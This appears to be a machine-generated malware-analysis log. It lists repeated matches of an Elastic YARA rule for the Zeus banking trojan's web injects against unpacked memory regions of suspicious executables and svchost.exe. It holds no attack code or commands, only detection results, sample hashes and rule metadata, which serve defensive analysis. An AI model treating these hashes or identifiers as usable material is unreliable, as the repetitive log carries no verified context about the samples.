    Source: 9.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.23f2000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.46.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 31.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2832000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 0.3.1fWgBXPgiT.exe.63d978.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 5.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.c12000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 39.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26e0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 37.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.3230000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 0.2.1fWgBXPgiT.exe.407000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 6.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.ab2000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 13.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2262000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 37.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.3230000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.66.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.45.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 33.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.22d2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.86.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.48.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.45.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.64.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.40.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.66.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.60.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.52.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.42.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.f2c0000.51.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 23.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.11a2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.62.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.f2c0000.51.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2500000.6.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 5.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.c12000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.50.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 39.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2582000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 13.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2262000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.4f00000.44.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 23.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.11a2000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 31.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2990000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.70.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.884000.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 27.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1412000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 31.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2832000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.78.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.65.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
